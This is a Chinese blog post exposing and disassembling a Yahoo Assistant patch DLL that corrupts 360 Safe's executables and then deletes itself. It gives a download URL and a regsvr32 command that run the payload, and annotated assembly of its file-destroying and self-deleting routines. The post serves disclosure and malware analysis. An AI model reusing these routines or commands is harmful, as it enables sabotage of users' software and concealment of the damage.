独家!触目惊心:记雅虎对360安全卫士的自杀式攻击程序

我们刚刚得到报告,雅虎助手在最新的一次更新中竟然使用了自毁式方法来攻击360安全卫士,在攻击完成后自动在系统中消失,毫无痕迹地破坏掉360安全卫士的主程序,内含多图完整测试报告.

Update:20:53,雅虎撤掉了那个Patch

1.安装360安全卫士,保证360安全卫士是可以正常运行.

2.下载雅虎助手的打击模块:

http://download.3721.com/download/patch34.cab
Update:20:53,雅虎撤掉了那个Patch

3.从这个cab包中解压出一个patch34.dll到C盘根目录下

4.单击windows开始菜单,点“运行”菜单项

按此在新窗口打开图片

5.在弹出的对话框中输入“regsvr32c:patch34.dll”,

按回车,出现注册成功提示框:

5.点击桌面上的360安全卫士图标,出现”360safe.exe不是有效的Win32应用程序”

按此在新窗口打开图片

6.从添加删除程序中卸载也一样:

按此在新窗口打开图片

按此在新窗口打开图片

7.此时360安全卫士的所有可执行文件均已被篡改,拷贝到另一台机器上也无法运行.

8.刚才运行的那个打击模块,已经自我销毁了.重新运行刚才的注册命令行,系统提示:

按此在新窗口打开图片

9.查看C盘根目录下,已经没有了pathcl34.dll文件

分析:

1、这次雅虎采取的方式与以往有本质的不同,以往的方式是伪提示删除360安全卫士或是通过技术干扰让360安全卫士无法运行,但这次是直接的篡改360安全卫士的程序二进制文件,篡改完毕后自我销毁,这是赤裸裸的病毒行为.

2、此模块放在雅虎网站的公开url上,是为了便于雅虎助手找准时间偷偷下载运行(已有大量用户反映运行360安全卫士时提示不是有效的win32应用程序),雅虎助手的行为已经涉及病毒传播.

3.从此模块的名字(patch34)分析,雅虎助手在此之前,已经发布了各类偷偷摸摸功能的patch达到33个之多

Yahoo上网助手自杀式破坏360safe的程序代码分析

MJ0011原创转载注明哦!
=================================
注意:此文为技术分析,不带任何偏向立场
由本文反汇编某厂商的病毒文件或曰恶意竞争文件而导致的任何法律问题,本人一概不负责
=================================

看到刚才有朋友投递的
独家!触目惊心:记雅虎对360安全卫士的自杀式攻击程序
http://www.cnbeta.com/modules.php?nam … =article&sid=16527

我将文中那个cab文件download了下来解压得patch34.dll(内部名称是patch33.dll,看来升级得太快,程序员连版本信息也没改就发布了)

使用反汇编工具ida5.0,发现了一些有意思的东西,现摘录如下:
我自己加了一些注释

;Exportedentry1.DllRegisterServer
;DLL注册时要干下面的事

;HRESULTDllRegisterServer(void)
publicDllRegisterServer
DllRegisterServerprocnear
pushoffsets_360safe;”360safe”
;呵呵,这是要干嘛呢?
callsub_10001477—>去调用这个子程序
popecx
pushhModule;hModule
callsub_10001291
push1
popeax
retn
DllRegisterServerendp

下面来看push了360safe后sub_10001477这个子程序干嘛去了

;Attributes:bp-basedframe

sub_10001477procnear

FindFileData=_WIN32_FIND_DATAAptr-350h
pvData=dwordptr-210h
FileName=byteptr-10Ch
pdwType=dwordptr-8
pcbData=dwordptr-4
arg_0=dwordptr8
;此处arg_0就是刚才被push的/360safe

pushebp
movebp,esp
subesp,350h
andbyteptr[ebp+pvData],0
pushesi
pushedi
push40h
popecx
xoreax,eax
leaedi,[ebp+pvData+1]
and[ebp+FileName],0
repstosd
stosw
stosb
push40h
xoreax,eax
popecx
leaedi,[ebp-10Bh]
repstosd
stosw
stosb
leaeax,[ebp+pcbData]
movesi,103h
pusheax;pcbData
leaeax,[ebp+pvData]
pusheax;pvData
leaeax,[ebp+pdwType]
pusheax;pdwType
pushoffsetpszValue;”ProgramFilesDir”

;push要取的注册表键值

pushoffsetpszSubKey;”'SOFTWAREMicrosoftWindowsCurrentVersion”

;push子键值

push80000002h;hkey
mov[ebp+pcbData],esi
mov[ebp+pdwType],1
callds:SHGetValueA

;获得SOFTWAREMicrosoftWindowsCurrentVersionProgramFilesDir这个注册表键的内容
;其实也就是系统程序文件夹的位置

push[ebp+arg_0]

;将获得的程序文件夹位置+arg_0(360safe)
;得到360safe安装文件夹地址

leaeax,[ebp+pvData]
pusheax
pushoffsets_SS_exe;”%s%s*.exe”
leaeax,[ebp+FileName]
pushesi;size_t
pusheax;char*
call__snprintf
and[ebp+FindFileData.dwFileAttributes],0

;查找360安装目录下所有*.exe文件

addesp,14h
xoreax,eax
leaedi,[ebp+FindFileData.ftCreationTime]
push4Fh
popecx
repstosd
leaeax,[ebp+FindFileData]
pusheax;lpFindFileData
leaeax,[ebp+FileName]
pusheax;lpFileName
callds:FindFirstFileA
movedi,eax
cmpedi,0FFFFFFFFh
jzshortloc_10001579

;此处为查找文件的循环判断

loc_10001531:
leaeax,[ebp+FindFileData.cFileName]
pusheax
leaeax,[ebp+pvData]
push[ebp+arg_0]
pusheax
pushoffsets_SSS;”%s%s%s”
leaeax,[ebp+FileName]
pushesi;size_t
pusheax;char*
call__snprintf
leaeax,[ebp+FileName]
pusheax;char*
callsub_100013F7

;如果找到了.exe文件,那么开始对其进行破坏
;sub_10013f7这个子程序的作用是破坏给定的EXE文件
;时间关系不列出代码了
;说一下大概流程
;将push入的文件路径用r+模式打开,然后自己判断pe相关信息,最后写入破坏后的pe结构,导致exe文件无法执行,提示非可执行文件

addesp,1Ch
leaeax,[ebp+FindFileData]
pusheax;lpFindFileData
pushedi;hFindFile
callds:FindNextFileA
testeax,eax
jnzshortloc_10001531
testedi,edi
jzshortloc_10001580

loc_10001579:;hFindFile
pushedi
callds:FindClose

loc_10001580:
popedi
popesi
leave
retn
sub_10001477endp

完成对360safe的可执行程序破坏后
开始执行
pushhModule;hModule
callsub_10001291

在sub_10001291中

该dll将利用rundll32.exe

将自己加载为一个进程执行
并进行自毁,自毁代码如下:(参数为自己的dll名)

;int__cdeclsub_1000102E(LPCSTRlpExistingFileName,char)
sub_1000102Eprocnear

lpExistingFileName=dwordptr4
arg_4=byteptr8

cmp[esp+arg_4],0
jnzshortloc_1000104F
push[esp+lpExistingFileName];lpFileName
callds:DeleteFileA

;;首先执行deletefile
;;如果失败则跑到loc_10001047
;;成功则返回

cmpeax,1
jnzshortloc_10001047
xoreax,eax
retn

loc_10001047:
callds:GetLastError
jmpshortloc_10001052

loc_1000104F:
push5
popeax

loc_10001052:
cmpeax,5
jzshortloc_10001060
cmpeax,20h
jzshortloc_10001060
push1
jmpshortloc_10001079

;;使用win32下强大滴移除文件函数MoveFileExA对自己进行删除
;;不信自杀不了了我

loc_10001060:
callsub_10001000
testeax,eax
jzshortloc_1000107B
push4;dwFlags
push0;lpNewFileName
push[esp+8+lpExistingFileName];lpExistingFileName
callds:MoveFileExA
push2

loc_10001079:
popeax
retn

loc_1000107B:
push0
push[esp+4+lpExistingFileName]
callsub_10001093

;;靠,还删不掉
;;我把自己写到wininit.ini里的rename里去,重启后自动删除
;;可一定要毁尸灭迹呀!

popecx
popecx
xorecx,ecx
testeax,eax
setnzcl
incecx
moveax,ecx
retn
sub_1000102Eendp

综上,这个dll做的事主要就是干掉360SAFE的所有可执行文件,然后自毁

呵呵,真是杀人不留痕呀

MJ0011原创转载注明哦

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注